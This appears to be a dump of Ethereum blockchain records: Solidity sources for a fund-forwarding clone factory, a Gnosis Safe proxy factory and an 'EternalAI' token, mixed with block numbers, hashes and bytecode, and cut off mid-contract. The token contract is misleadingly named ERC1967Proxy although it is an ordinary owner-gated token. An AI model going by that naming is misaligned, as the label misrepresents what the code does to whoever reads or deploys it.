bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,502,436 |
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|
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| ||
1 | 19,502,437 |
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|
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|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
f7e11fb7c1bf77f0b5e37f152efc9b0ba825a50e
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,502,437 |
f2a99128439a774c2ec63293d8c5246cccff4325a8d5f86c5d5590a9939c3177
|
989dbe5423d6b89e15dfc5e712824a46d093959db4f078b0d7c2506d3bc7c6e7
|
1dc00b838bdbce4df7d7024b2502657cab8f3674
|
1dc00b838bdbce4df7d7024b2502657cab8f3674
|
f65789cbc457cd19bd679819de5fdb48d096c4c6
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/**
https://eternalai.org/
*/
pragma solidity ^0.8.0;
/*
**/
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract ERC1967Proxy is ERC20, Ownable {
uint256 constant maxWalletStart = 2e16;
uint256 constant addMaxWalletPerMinute = 1e16;
uint256 public constant totalSupplyOnStart = 1e18;
uint256 tradingStartTime;
address public pool;
constructor() ERC20(" EternalAI ", " EAI ") {
_mint(msg.sender, totalSupplyOnStart);
}
function decimals() public pure override returns (uint8) {
return 9;
}
function maxWallet() public view returns (uint256) {
if (tradingStartTime == 0) return totalSupply();
uint256 res = maxWalletStart +
((block.timestamp - tradingStartTime) * addMaxWalletPerMinute) /
(1 minutes);
if (res > totalSupply()) return totalSupply();
return res;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override {
// before start trading only owner can manipulate the token
if (pool == address(0)) {
require(from == owner() || to == owner(), "trading is not started");
return;
}
// check max wallet
if (to != pool)
require(balanceOf(to) + amount <= maxWallet(), "wallet maximum");
}
function startTrade(address poolAddress) public onlyOwner {
tradingStartTime = block.timestamp;
pool = poolAddress;
}
}
|
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// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
